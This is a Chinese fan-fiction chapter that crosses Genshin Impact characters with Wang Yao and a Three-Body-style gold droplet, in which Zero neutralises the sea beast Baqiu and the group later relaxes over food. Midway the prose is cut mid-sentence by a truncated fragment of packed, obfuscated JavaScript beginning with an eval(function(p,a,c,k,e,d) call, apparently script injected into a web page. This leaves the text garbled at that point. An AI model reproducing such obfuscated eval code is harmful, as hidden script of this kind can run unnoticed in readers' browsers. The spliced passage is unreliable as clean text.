云来海的另一头，封印着魔兽八虬。八虬，在海渊深处未曾有匹敌，即使与岩神造出的石鲸厮杀也不落下风。最终，岩神用玉石与矶岩塑了一只鸢鸟，将其钉入海渊深处， 力量注入海渊深处，结界中的魔神与眷属在生命的最后关头，用尽了最后的力量，发出了震耳欲聋的咆哮。 海底的暗流开始涌动，零尚未发现海底的不同，她正专注地录入程序。 八虬，在沉睡中被这股不甘的怨念唤醒。它的双眼猛然睁开，闪烁着幽蓝的光芒，整个海底世界仿佛都为之一震。感受到奥赛尔的召唤与困境，八虬缓缓升起，庞大的身躯在海水中激荡起层层巨浪。 钟离察觉到了什么，沉声道：“和璞鸢松动了。” 他放下茶杯，站起身，背着手望向海的另一头，海风突兀地又猛烈起来，吹起身后的发丝。他侧身对王耀说：“八虬的封印被解除了。” 王耀沉吟：“我这里还有东风-31AG和东风-41，关键时刻也不是不能用。” “海里的魔兽也出来了，这超出预计了吧。”派蒙有些紧张了：“还有东风31和41都是什么？” 王耀淡定地解释：“就是核弹。之前小零一直想手搓一个，后来找不到原料，就找我拉无人机和火jian弹的赞助了。” 这就是零说的“有备选方案，就是操作起来比较麻烦一点”吗？ 双子都无语到不怎么紧张了，只能说不愧是零的老师吗，「火力不足恐惧症」真是一脉相承。 钟离摇摇头：“可能现在已经来不及了。” 他正说着，八虬庞大的身躯已经迫近孤云阁，整个云来海被翻腾起巨大的波浪。双子忍不住拿出武器，准备随时上前。 “等等。”王耀阻止双子，“按照小零的性格，她一定会有备选方案，不如先看看她会怎么做。” 闻言，空和荧颔首，收起武器，叹气：“是我们心急了。” “关心则乱。”钟离道，“有此佳友，值得相庆。” 零当然发现了不对劲，眼前八虬逼近，而程序还没跑完，她当机立断暂停了程序。结界内残余的魔神残渣在涌动，没有思考的余地了，在八虬来临之前，她伸出手，将结界渐渐缩小，无人机群也如蜂群般整齐落地。 「万象归零」 鲸吸秋波杯中月，结界化成奶茶杯大小，如杯中明月一般，被她自身的黑洞完全吞噬。力量转换的程序在体内飞速运转，这副躯体现在已经无法承受这么庞大且短时间注入的力量，唯有将转换出的力量导出。 她闭着眼睛，单膝跪地，双手按住大地，将力量归还于星球。 八虬，以其八条如巨蟒般强壮的躯干，来到了孤云阁，魔兽的八个头喷吐着海腥味浓郁的水汽。 派蒙吓得双手捂住眼睛，不敢看下一幕，却被荧拉住：“快看！” 派蒙半信半疑地睁开眼睛，然后嘴巴张大，只余下一个声音：“啊？” 随着一道划破海水的金色光芒，液态流体黄金水滴以一种超越物理法则的轨迹，从虚空之门疾驰而来。它的表面闪烁着黄金独有的璀璨，仿佛是从心脏内流淌而出的黄金之泪，凝聚了星辰的光辉与大地的深邃，静静地悬浮在八虬面前。 这放在整个宇宙，也是最纯净、最完美的一滴黄金水滴，闪烁着耀眼夺目的金色光芒。 其表面并非静止不动，而是仿佛蕴含着生命的力量，在微光中轻轻波动，如同海洋深处的温柔涟漪。 王耀感慨：“这就是水滴吗？实物比小说里的更壮观。” 钟离凝视着那枚黄金水滴：“她要用摩拉做黄金纳米强互作用力结构体，原来是为了留这个后手。” 黄金纳米强互作用力结构体，这种结构体保留了黄金的璀璨光泽，却异于黄金越纯越软的缺点，因其是由无数纳米级的黄金强互作用力单元紧密排列构成，每一个单元都像是宇宙中最微小的星辰，闪烁着金色的光芒，故而拥有了超越钨钛合金数百倍乃至数千倍的硬度与韧性。 如同是宇宙中最完美的水滴被永恒凝固，这种强互作用力单元排列不仅赋予了它无与伦比的光滑度，更使得其表面能够扭曲光线，产生出令人目眩神迷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟离啜饮清茗，对双子悠然道：“如此一来，尽可安心了。” 空如释重负地收起武器，荧也长舒了一口气，正想说话，听到身后传来脚步声，回头一看，是若陀龙王。 龙君大踏步上前，声音比人到得更快，言语间抑制不住兴奋：“小姑娘干得漂亮！荻花洲那里传来消息，已经有散落的魔神残渣进入转换规则了。” 他匆匆前来，衣襟上还带着水汽，钟离问：“璃月港安好？” 若陀摆摆手：“好着呢！八虬出现时漫上来一点海水，很快就退去了，没想到奥赛尔最后一手竟然是以命唤醒八虬，啧啧啧。” 他这边咋舌，那边风之翼降落，王耀正想接住，零猛地扑了上来：“老师！” “辛苦啦！”王耀摸摸她的脑袋。 以普遍理性而言，此刻原应是电视剧里和谐融洽的结局剧情，可一般来说零是不按常理出牌的选手。 大家还没来得及说些什么鼓励的场面话，她猛地捂着嘴，独自一人冲到边上：“离我远点，我想吐。” 一阵强烈的恶心涌上心头，急于寻找出口。她努力想要呕吐，却只能艰难地挤出一些清水，无法缓解胃里的翻腾与不适。 每一次深呼吸都伴随着喉咙深处的悸动，干呕了好一会儿，钟离递上茶水，她如牛饮般连灌三杯，接着又蹲到边上呕。 如此往复几次，她终于缓过来，没有对此等煞风景的剧情有任何歉意，当然大家也不会觉得有什么不对的地方。 王耀给她塞了一颗话梅：“这是濠镜给我的话梅，酸酸甜甜，你压一压。” 嘴里含着话梅，终于是把这恶心劲儿压下去了，零这才开口说：“刚刚时间来不及，我就把魔神残渣吞了，在躯体内走程序转换。没想到海里的魔神残渣这么难吃！又腥又臭！” 她目光诚恳地看向钟离：“我大概理解了一点你的心情。” 钟离叹气：“说到底还是我记性太好的错。” 王耀又摸摸她的脑袋：“回去歇一歇，想吃什么我给你做。刚刚吐过，吃油腻会难受，素三鲜蒸饺怎么样？或者甜的桂花菱角粉糕？” “哇！听上去都很好吃！”这是派蒙眼泪从嘴角流下的声音。 最后无论是素三鲜蒸饺，还是桂花菱角粉糕，大半还是进了派蒙的肚子。 院子里，派蒙拿着盘子：“零，这是最后一块桂花糕了，你不再吃一块吗？” “派蒙你吃吧。”零喝着柠檬红茶，“我今天实在吃不下了。” 空走过来，递给她一串糖葫芦：“这是新鲜的落落莓做的，荧刚滚的糖浆。” 落落莓颗颗饱满，轻轻一咬，薄脆糖壳的甜蜜和清新果香在齿间绽放。零眼睛一亮：“这个比山楂做的好吃！荧的心思好巧！” 派蒙一口吞下桂花糕，急匆匆地飞过去：“荧，我也要吃！” 望着派蒙的身影，零说：“这个课题算是结题了。”她得意地伸了个懒腰，对在一旁泡茶的钟离说，“我的实习期上路考核过了吧？” 钟离注水入茶壶，不紧不慢地说：“我方才还想问你，怎么我委托给你的事情，在你这里成了「考核」？” “不管。”零使用四舍五入技能，“你就说我能不能和温迪老师出去玩吧？” “现如今你躯体稳定，自然是无妨。”钟离微微一笑，“不过也要等海灯节结束后吧。” “那是当然！老师光年迢迢过来一次也不容易。”听到「躯体稳定」的诊断报告，零愈发高兴，“在海灯节之前，我还有一桩事要做。” 闻言，空和拿着糖葫芦过来的荧都好奇起来：“什么重要的事？” “魈上仙读研究生的事，海灯节之后教令院就要新学期开学了，这事刻不容缓！” 零的语气充满坚定。 啊？你怎么还惦记这事啊！ 双子无语地扶额。 -end-